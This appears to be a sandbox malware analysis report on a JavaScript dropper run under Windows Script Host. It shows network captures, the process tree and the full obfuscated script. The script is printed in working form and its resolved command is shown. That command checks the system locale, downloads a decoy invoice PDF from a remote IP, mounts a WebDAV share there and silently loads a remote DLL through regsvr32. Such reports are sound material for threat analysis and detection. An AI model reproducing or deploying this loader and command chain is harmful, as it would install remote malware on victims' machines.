Jan 11, 2025 04:54:18.415024996 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 11, 2025 04:54:18.415035963 CET	332	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 11, 2025 04:54:18.415046930 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G
Jan 11, 2025 04:54:18.419982910 CET	888	IN	Data Raw: 66 9c b0 5c 8b 7c 0f f5 43 85 e1 de e6 5c c9 d2 e4 a7 05 fc 4c 5f f9 44 4e dd ce 64 95 ab fc 8e 85 cf 82 94 41 bf 6b e9 d5 d0 7a 3b 74 7a f6 e4 a9 2b bc e1 73 d9 7d f4 50 5a 5d 42 6b 5e cd ca 33 7c 17 ba b1 f8 2d b5 61 5c f6 23 f0 69 1e 33 bd 7c Data Ascii: f\\|C\L_DNdAkz;tz+s}PZ]Bk^3\|-a\#i3\|2GsrGKhd@B oZ-n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45WqR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	193.143.1.205	8888	4288	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:54:19.929480076 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 04:54:20.729682922 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:54:20 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	22:54:13
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91931239167124381.js"
Imagebase:	0x7ff7f1cb0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:54:14
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll
Imagebase:	0x7ff696bf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:54:14
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:54:14
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:54:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	22:54:19
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff696bf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:54:19
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff796cd0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:54:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:54:19
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	22:54:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1736,i,1882403931512097069,11823201938671054370,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function mikadd() {	mikadd() ➔ undefined
1	jedvs = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var enemiiokt = this[tgbdk + iganfx + qbtdhd + apaobntnu + ioavxfeah + wacmqk + eyllgaqmj + slkxgisss] ( this[tmmqbzx + gifsy + uyewqb + qbtdhd + ekdue + tgbdk + slkxgisss][iemqvrmo + qbtdhd + ioavxfeah + iganfx + slkxgisss + ioavxfeah + huiyyd + noqvbaun + ozkzp + ioavxfeah + uyewqb + slkxgisss] ( tmmqbzx + gifsy + uyewqb + qbtdhd + ekdue + tgbdk + slkxgisss + hfktcuk + gifsy + wullfqe + ioavxfeah + oktjoocak + oktjoocak ) [infpkyu + ioavxfeah + ynkugh + infpkyu + ioavxfeah + iganfx + zezbh] ( qjbbajsyk + cydljsaa + pzkqckik + yyjbcwanj + qzwiavtue + iemqvrmo + cnqny + infpkyu + infpkyu + pzkqckik + kwocfkev + mhxhsiccx + qzwiavtue + cnqny + gifsy + pzkqckik + infpkyu + hbmgigzh + iemqvrmo + zafptf + eyllgaqmj + slkxgisss + qbtdhd + zafptf + oktjoocak + ghsnyxo + aactpumxo + iganfx + eyllgaqmj + ioavxfeah + oktjoocak + hbmgigzh + wacmqk + eyllgaqmj + slkxgisss + ioavxfeah + qbtdhd + eyllgaqmj + iganfx + slkxgisss + ekdue + zafptf + eyllgaqmj + iganfx + oktjoocak + hbmgigzh + trckyb + zafptf + uyewqb + iganfx + oktjoocak + ioavxfeah ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( srwcxx = 0 ; srwcxx < jedvs[oktjoocak + ioavxfeah + eyllgaqmj + ynkugh + slkxgisss + wullfqe] ; ++ srwcxx )
4	{
5	if ( enemiiokt == jedvs[srwcxx] )
6	{
7	enemiiokt = true;
8	break ;
9	}
10	}
11	if ( enemiiokt !== true )
12	this[tmmqbzx + gifsy + uyewqb + qbtdhd + ekdue + tgbdk + slkxgisss][weuycfdsz + jyccyj + ekdue + slkxgisss] ( );
13	this[tmmqbzx + gifsy + uyewqb + qbtdhd + ekdue + tgbdk + slkxgisss][iemqvrmo + qbtdhd + ioavxfeah + iganfx + slkxgisss + ioavxfeah + huiyyd + noqvbaun + ozkzp + ioavxfeah + uyewqb + slkxgisss] ( tmmqbzx + gifsy + uyewqb + qbtdhd + ekdue + tgbdk + slkxgisss + hfktcuk + gifsy + wullfqe + ioavxfeah + oktjoocak + oktjoocak ) [qbtdhd + jyccyj + eyllgaqmj] ( uyewqb + irqxkmnii + zezbh + ghsnyxo + ubbdy + uyewqb + ghsnyxo + tgbdk + zafptf + pjwif + ioavxfeah + qbtdhd + apaobntnu + wullfqe + ioavxfeah + oktjoocak + oktjoocak + hfktcuk + ioavxfeah + xjxudf + ioavxfeah + ghsnyxo + xafuerdf + iemqvrmo + zafptf + irqxkmnii + irqxkmnii + iganfx + eyllgaqmj + zezbh + ghsnyxo + gokzltynb + wacmqk + eyllgaqmj + ntyvd + zafptf + lminl + ioavxfeah + xafuerdf + tmmqbzx + ioavxfeah + noqvbaun + infpkyu + ioavxfeah + khnyzqlmi + jyccyj + ioavxfeah + apaobntnu + slkxgisss + ghsnyxo + xafuerdf + huiyyd + jyccyj + slkxgisss + bgctlujib + ekdue + oktjoocak + ioavxfeah + ghsnyxo + usulaw + slkxgisss + ioavxfeah + irqxkmnii + tgbdk + usulaw + hbmgigzh + ekdue + eyllgaqmj + ntyvd + zafptf + ekdue + uyewqb + ioavxfeah + hfktcuk + tgbdk + zezbh + mssuui + ghsnyxo + wullfqe + slkxgisss + slkxgisss + tgbdk + bxzyoevo + ubbdy + ubbdy + bcsbq + xxsectyh + rokab + hfktcuk + bcsbq + pwikcuet + rokab + hfktcuk + bcsbq + hfktcuk + zmnjl + jjaknsbqq + wtgdysd + ubbdy + ekdue + eyllgaqmj + ntyvd + zafptf + ekdue + uyewqb + ioavxfeah + hfktcuk + tgbdk + wullfqe + tgbdk + gokzltynb + nyqnfmj + nyqnfmj + apaobntnu + slkxgisss + iganfx + qbtdhd + slkxgisss + ghsnyxo + usulaw + slkxgisss + ioavxfeah + irqxkmnii + tgbdk + usulaw + hbmgigzh + ekdue + eyllgaqmj + ntyvd + zafptf + ekdue + uyewqb + ioavxfeah + hfktcuk + tgbdk + zezbh + mssuui + nyqnfmj + nyqnfmj + uyewqb + irqxkmnii + zezbh + ghsnyxo + ubbdy + uyewqb + ghsnyxo + eyllgaqmj + ioavxfeah + slkxgisss + ghsnyxo + jyccyj + apaobntnu + ioavxfeah + ghsnyxo + hbmgigzh + hbmgigzh + bcsbq + xxsectyh + rokab + hfktcuk + bcsbq + pwikcuet + rokab + hfktcuk + bcsbq + hfktcuk + zmnjl + jjaknsbqq + wtgdysd + tlzqg + pzbxhrstw + pzbxhrstw + pzbxhrstw + pzbxhrstw + hbmgigzh + zezbh + iganfx + ntyvd + pjwif + pjwif + pjwif + qbtdhd + zafptf + zafptf + slkxgisss + hbmgigzh + nyqnfmj + nyqnfmj + uyewqb + irqxkmnii + zezbh + ghsnyxo + ubbdy + uyewqb + ghsnyxo + qbtdhd + ioavxfeah + ynkugh + apaobntnu + ntyvd + qbtdhd + rokab + zmnjl + ghsnyxo + ubbdy + apaobntnu + ghsnyxo + hbmgigzh + hbmgigzh + bcsbq + xxsectyh + rokab + hfktcuk + bcsbq + pwikcuet + rokab + hfktcuk + bcsbq + hfktcuk + zmnjl + jjaknsbqq + wtgdysd + tlzqg + pzbxhrstw + pzbxhrstw + pzbxhrstw + pzbxhrstw + hbmgigzh + zezbh + iganfx + ntyvd + pjwif + pjwif + pjwif + qbtdhd + zafptf + zafptf + slkxgisss + hbmgigzh + zmnjl + xxsectyh + zmnjl + wtgdysd + zmnjl + pwikcuet + bcsbq + wtgdysd + hxftlv + zmnjl + skghucf + hxftlv + pzbxhrstw + pzbxhrstw + hfktcuk + zezbh + oktjoocak + oktjoocak, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll",0,false) ➔ 0
14	}
15	qzwiavtue = "G";
16	qzwiavtue = "O";
17	qzwiavtue = "B";
18	qzwiavtue = "l";
19	qzwiavtue = "M";
20	qzwiavtue = "k";
21	qzwiavtue = "z";
22	qzwiavtue = "x";
23	qzwiavtue = "W";
24	qzwiavtue = "t";
25	qzwiavtue = "S";
26	qzwiavtue = "y";
27	qzwiavtue = "_";
28	trckyb = "j";
29	trckyb = "C";
30	trckyb = "M";
31	trckyb = "G";
32	trckyb = "L";
33	trckyb = "p";
34	trckyb = "O";
35	trckyb = "R";
36	trckyb = "o";
37	trckyb = "R";
38	trckyb = "e";
39	trckyb = "h";
40	trckyb = "x";
41	trckyb = "l";
42	trckyb = "L";
43	trckyb = "f";
44	trckyb = "G";
45	trckyb = "E";
46	trckyb = "Y";
47	trckyb = "h";
48	trckyb = "I";
49	trckyb = "o";
50	trckyb = "l";
51	trckyb = "L";
52	mssuui = "q";
53	mssuui = "B";
54	mssuui = "j";
55	mssuui = "H";
56	mssuui = "t";
57	mssuui = "C";
58	mssuui = "v";
59	mssuui = "R";
60	mssuui = "x";
61	mssuui = "N";
62	mssuui = "V";
63	mssuui = "e";
64	mssuui = "e";
65	mssuui = "n";
66	mssuui = "h";
67	mssuui = "U";
68	mssuui = "a";
69	mssuui = "T";
70	mssuui = "a";
71	mssuui = "e";
72	mssuui = "l";
73	mssuui = "j";
74	mssuui = "d";
75	mssuui = "q";
76	mssuui = "A";
77	mssuui = "q";
78	mssuui = "L";
79	mssuui = "I";
80	mssuui = "O";
81	mssuui = "f";
82	nyqnfmj = "n";
83	nyqnfmj = "h";
84	nyqnfmj = "o";
85	nyqnfmj = "o";
86	nyqnfmj = "f";
87	nyqnfmj = "p";
88	nyqnfmj = "Y";
89	nyqnfmj = "m";
90	nyqnfmj = "Y";
91	nyqnfmj = "T";
92	nyqnfmj = "U";
93	nyqnfmj = "Y";
94	nyqnfmj = "C";
95	nyqnfmj = "E";
96	nyqnfmj = "E";
97	nyqnfmj = "j";
98	nyqnfmj = "N";
99	nyqnfmj = "f";
100	nyqnfmj = "P";
101	nyqnfmj = "c";
102	nyqnfmj = "m";
103	nyqnfmj = "g";
104	nyqnfmj = "F";
105	nyqnfmj = "r";
106	nyqnfmj = "Z";
107	nyqnfmj = "d";
108	nyqnfmj = "K";
109	nyqnfmj = "r";
110	nyqnfmj = "j";
111	nyqnfmj = "E";
112	nyqnfmj = "E";
113	nyqnfmj = "Z";
114	nyqnfmj = "l";
115	nyqnfmj = "k";
116	nyqnfmj = "&";
117	khnyzqlmi = "s";
118	khnyzqlmi = "G";
119	khnyzqlmi = "l";
120	khnyzqlmi = "B";
121	khnyzqlmi = "Y";
122	khnyzqlmi = "m";
123	khnyzqlmi = "Z";
124	khnyzqlmi = "K";
125	khnyzqlmi = "P";
126	khnyzqlmi = "Z";
127	khnyzqlmi = "J";
128	khnyzqlmi = "B";
129	khnyzqlmi = "l";
130	khnyzqlmi = "v";
131	khnyzqlmi = "i";
132	khnyzqlmi = "l";
133	khnyzqlmi = "t";
134	khnyzqlmi = "B";
135	khnyzqlmi = "L";
136	khnyzqlmi = "R";
137	khnyzqlmi = "Y";
138	khnyzqlmi = "w";
139	khnyzqlmi = "w";
140	khnyzqlmi = "l";
141	khnyzqlmi = "A";
142	khnyzqlmi = "W";
143	khnyzqlmi = "l";
144	khnyzqlmi = "W";
145	khnyzqlmi = "F";
146	khnyzqlmi = "Z";
147	khnyzqlmi = "B";
148	khnyzqlmi = "K";
149	khnyzqlmi = "k";
150	khnyzqlmi = "N";
151	khnyzqlmi = "C";
152	khnyzqlmi = "r";
153	khnyzqlmi = "J";
154	khnyzqlmi = "q";
155	cydljsaa = "C";
156	cydljsaa = "q";
157	cydljsaa = "C";
158	cydljsaa = "K";
159	cydljsaa = "Z";
160	cydljsaa = "S";
161	cydljsaa = "e";
162	cydljsaa = "K";
163	cydljsaa = "h";
164	cydljsaa = "v";
165	cydljsaa = "U";
166	cydljsaa = "X";
167	cydljsaa = "H";
168	cydljsaa = "V";
169	cydljsaa = "z";
170	cydljsaa = "d";
171	cydljsaa = "Y";
172	cydljsaa = "Z";
173	cydljsaa = "A";
174	cydljsaa = "W";
175	cydljsaa = "n";
176	cydljsaa = "s";
177	cydljsaa = "T";
178	cydljsaa = "B";
179	cydljsaa = "d";
180	cydljsaa = "u";
181	cydljsaa = "E";
182	cydljsaa = "D";
183	cydljsaa = "g";
184	cydljsaa = "w";
185	cydljsaa = "v";
186	cydljsaa = "u";
187	cydljsaa = "u";
188	cydljsaa = "X";
189	cydljsaa = "Y";
190	cydljsaa = "d";
191	cydljsaa = "b";
192	cydljsaa = "L";
193	cydljsaa = "K";
194	pzbxhrstw = "T";
195	pzbxhrstw = "j";
196	pzbxhrstw = "W";
197	pzbxhrstw = "H";
198	pzbxhrstw = "d";
199	pzbxhrstw = "W";
200	pzbxhrstw = "B";
201	pzbxhrstw = "m";
202	pzbxhrstw = "S";
203	pzbxhrstw = "x";
204	pzbxhrstw = "r";
205	pzbxhrstw = "s";
206	pzbxhrstw = "q";
207	pzbxhrstw = "u";
208	pzbxhrstw = "P";
209	pzbxhrstw = "x";
210	pzbxhrstw = "z";
211	pzbxhrstw = "R";
212	pzbxhrstw = "8";
213	bgctlujib = "P";
214	bgctlujib = "W";
215	bgctlujib = "z";
216	bgctlujib = "s";
217	bgctlujib = "j";
218	bgctlujib = "Q";
219	bgctlujib = "C";
220	bgctlujib = "g";
221	bgctlujib = "r";
222	bgctlujib = "v";
223	bgctlujib = "D";
224	bgctlujib = "b";
225	bgctlujib = "C";
226	bgctlujib = "z";
227	bgctlujib = "o";
228	bgctlujib = "h";
229	bgctlujib = "A";
230	bgctlujib = "F";
231	bgctlujib = "b";
232	bgctlujib = "z";
233	bgctlujib = "w";
234	bgctlujib = "V";
235	bgctlujib = "B";
236	bgctlujib = "k";
237	bgctlujib = "a";
238	bgctlujib = "F";
239	kwocfkev = "e";
240	kwocfkev = "z";
241	kwocfkev = "h";
242	kwocfkev = "N";
243	kwocfkev = "O";
244	kwocfkev = "V";
245	kwocfkev = "p";
246	kwocfkev = "Q";
247	kwocfkev = "h";
248	kwocfkev = "B";
249	kwocfkev = "p";
250	kwocfkev = "J";
251	kwocfkev = "x";
252	kwocfkev = "q";
253	kwocfkev = "i";
254	kwocfkev = "h";
255	kwocfkev = "D";
256	kwocfkev = "m";
257	kwocfkev = "R";
258	kwocfkev = "G";
259	kwocfkev = "t";
260	kwocfkev = "f";
261	kwocfkev = "g";
262	kwocfkev = "M";
263	kwocfkev = "N";
264	noqvbaun = "S";
265	noqvbaun = "u";
266	noqvbaun = "q";
267	noqvbaun = "L";
268	noqvbaun = "r";
269	noqvbaun = "P";
270	noqvbaun = "c";
271	noqvbaun = "B";
272	noqvbaun = "o";
273	noqvbaun = "b";
274	bxzyoevo = "c";
275	bxzyoevo = "d";
276	bxzyoevo = "T";
277	bxzyoevo = "o";
278	bxzyoevo = "C";
279	bxzyoevo = "S";
280	bxzyoevo = "b";
281	bxzyoevo = "V";
282	bxzyoevo = "Y";
283	bxzyoevo = "V";
284	bxzyoevo = "G";
285	bxzyoevo = "z";
286	bxzyoevo = "Y";
287	bxzyoevo = "u";
288	bxzyoevo = "c";
289	bxzyoevo = "Q";
290	bxzyoevo = "s";
291	bxzyoevo = "z";
292	bxzyoevo = "H";
293	bxzyoevo = "V";
294	bxzyoevo = "W";
295	bxzyoevo = "q";
296	bxzyoevo = "C";
297	bxzyoevo = "g";
298	bxzyoevo = "t";
299	bxzyoevo = "N";
300	bxzyoevo = "n";
301	bxzyoevo = "a";
302	bxzyoevo = ":";
303	wacmqk = "e";
304	wacmqk = "B";
305	wacmqk = "N";
306	wacmqk = "L";
307	wacmqk = "o";
308	wacmqk = "p";
309	wacmqk = "D";
310	wacmqk = "s";
311	wacmqk = "v";
312	wacmqk = "X";
313	wacmqk = "R";
314	wacmqk = "D";
315	wacmqk = "p";
316	wacmqk = "B";
317	wacmqk = "L";
318	wacmqk = "H";
319	wacmqk = "P";
320	wacmqk = "D";
321	wacmqk = "x";
322	wacmqk = "T";
323	wacmqk = "I";
324	tlzqg = "c";
325	tlzqg = "T";
326	tlzqg = "X";
327	tlzqg = "y";
328	tlzqg = "v";
329	tlzqg = "i";
330	tlzqg = "@";
331	pzkqckik = "n";
332	pzkqckik = "T";
333	pzkqckik = "F";
334	pzkqckik = "f";
335	pzkqckik = "K";
336	pzkqckik = "L";
337	pzkqckik = "m";
338	pzkqckik = "T";
339	pzkqckik = "E";
340	skghucf = "T";
341	skghucf = "c";
342	skghucf = "e";
343	skghucf = "z";
344	skghucf = "p";
345	skghucf = "n";
346	skghucf = "O";
347	skghucf = "P";
348	skghucf = "d";
349	skghucf = "S";
350	skghucf = "F";
351	skghucf = "y";
352	skghucf = "w";
353	skghucf = "V";
354	skghucf = "A";
355	skghucf = "n";
356	skghucf = "I";
357	skghucf = "C";
358	skghucf = "Y";
359	skghucf = "M";
360	skghucf = "O";
361	skghucf = "N";
362	skghucf = "y";
363	skghucf = "V";
364	skghucf = "K";
365	skghucf = "W";
366	skghucf = "p";
367	skghucf = "o";
368	skghucf = "E";
369	skghucf = "6";
370	ntyvd = "t";
371	ntyvd = "e";
372	ntyvd = "j";
373	ntyvd = "B";
374	ntyvd = "p";
375	ntyvd = "K";
376	ntyvd = "m";
377	ntyvd = "G";
378	ntyvd = "U";
379	ntyvd = "F";
380	ntyvd = "W";
381	ntyvd = "g";
382	ntyvd = "M";
383	ntyvd = "M";
384	ntyvd = "D";
385	ntyvd = "l";
386	ntyvd = "K";
387	ntyvd = "C";
388	ntyvd = "J";
389	ntyvd = "k";
390	ntyvd = "Z";
391	ntyvd = "Q";
392	ntyvd = "x";
393	ntyvd = "E";
394	ntyvd = "U";
395	ntyvd = "a";
396	ntyvd = "U";
397	ntyvd = "v";
398	pjwif = "A";
399	pjwif = "b";
400	pjwif = "n";
401	pjwif = "R";
402	pjwif = "Z";
403	pjwif = "v";
404	pjwif = "w";
405	hfktcuk = "l";
406	hfktcuk = "p";
407	hfktcuk = ".";
408	pwikcuet = "m";
409	pwikcuet = "D";
410	pwikcuet = "R";
411	pwikcuet = "Z";
412	pwikcuet = "h";
413	pwikcuet = "G";
414	pwikcuet = "p";
415	pwikcuet = "u";
416	pwikcuet = "e";
417	pwikcuet = "o";
418	pwikcuet = "i";
419	pwikcuet = "h";
420	pwikcuet = "B";
421	pwikcuet = "4";
422	xjxudf = "e";
423	xjxudf = "x";
424	xafuerdf = "v";
425	xafuerdf = "N";
426	xafuerdf = "M";
427	xafuerdf = "H";
428	xafuerdf = "a";
429	xafuerdf = "v";
430	xafuerdf = "S";
431	xafuerdf = "-";
432	xxsectyh = "F";
433	xxsectyh = "N";
434	xxsectyh = "F";
435	xxsectyh = "p";
436	xxsectyh = "N";
437	xxsectyh = "l";
438	xxsectyh = "x";
439	xxsectyh = "S";
440	xxsectyh = "f";
441	xxsectyh = "e";
442	xxsectyh = "W";
443	xxsectyh = "L";
444	xxsectyh = "J";
445	xxsectyh = "v";
446	xxsectyh = "s";
447	xxsectyh = "C";
448	xxsectyh = "e";
449	xxsectyh = "A";
450	xxsectyh = "V";
451	xxsectyh = "W";
452	xxsectyh = "y";
453	xxsectyh = "B";
454	xxsectyh = "V";
455	xxsectyh = "v";
456	xxsectyh = "U";
457	xxsectyh = "9";
458	zafptf = "Q";
459	zafptf = "h";
460	zafptf = "T";
461	zafptf = "o";
462	zafptf = "Q";
463	zafptf = "b";
464	zafptf = "H";
465	zafptf = "b";
466	zafptf = "v";
467	zafptf = "A";
468	zafptf = "H";
469	zafptf = "l";
470	zafptf = "P";
471	zafptf = "q";
472	zafptf = "y";
473	zafptf = "L";
474	zafptf = "Y";
475	zafptf = "d";
476	zafptf = "P";
477	zafptf = "r";
478	zafptf = "N";
479	zafptf = "o";
480	wtgdysd = "z";
481	wtgdysd = "p";
482	wtgdysd = "c";
483	wtgdysd = "l";
484	wtgdysd = "E";
485	wtgdysd = "C";
486	wtgdysd = "a";
487	wtgdysd = "q";
488	wtgdysd = "F";
489	wtgdysd = "o";
490	wtgdysd = "r";
491	wtgdysd = "P";
492	wtgdysd = "i";
493	wtgdysd = "o";
494	wtgdysd = "B";
495	wtgdysd = "J";
496	wtgdysd = "c";
497	wtgdysd = "O";
498	wtgdysd = "h";
499	wtgdysd = "p";
500	wtgdysd = "s";
501	wtgdysd = "Y";
502	wtgdysd = "h";
503	wtgdysd = "R";
504	wtgdysd = "N";
505	wtgdysd = "q";
506	wtgdysd = "p";
507	wtgdysd = "j";
508	wtgdysd = "k";
509	wtgdysd = "g";
510	wtgdysd = "U";
511	wtgdysd = "e";
512	wtgdysd = "Q";
513	wtgdysd = "j";
514	wtgdysd = "W";
515	wtgdysd = "v";
516	wtgdysd = "y";
517	wtgdysd = "a";
518	wtgdysd = "l";
519	wtgdysd = "I";
520	wtgdysd = "F";
521	wtgdysd = "s";
522	wtgdysd = "5";
523	lminl = "o";
524	lminl = "x";
525	lminl = "U";
526	lminl = "B";
527	lminl = "b";
528	lminl = "k";
529	ynkugh = "L";
530	ynkugh = "C";
531	ynkugh = "Y";
532	ynkugh = "P";
533	ynkugh = "g";
534	tmmqbzx = "U";
535	tmmqbzx = "J";
536	tmmqbzx = "i";
537	tmmqbzx = "P";
538	tmmqbzx = "T";
539	tmmqbzx = "n";
540	tmmqbzx = "v";
541	tmmqbzx = "Y";
542	tmmqbzx = "r";
543	tmmqbzx = "i";
544	tmmqbzx = "p";
545	tmmqbzx = "y";
546	tmmqbzx = "g";
547	tmmqbzx = "Y";
548	tmmqbzx = "O";
549	tmmqbzx = "W";
550	ozkzp = "l";
551	ozkzp = "c";
552	ozkzp = "y";
553	ozkzp = "J";
554	ozkzp = "S";
555	ozkzp = "u";
556	ozkzp = "F";
557	ozkzp = "g";
558	ozkzp = "I";
559	ozkzp = "Q";
560	ozkzp = "R";
561	ozkzp = "f";
562	ozkzp = "t";
563	ozkzp = "B";
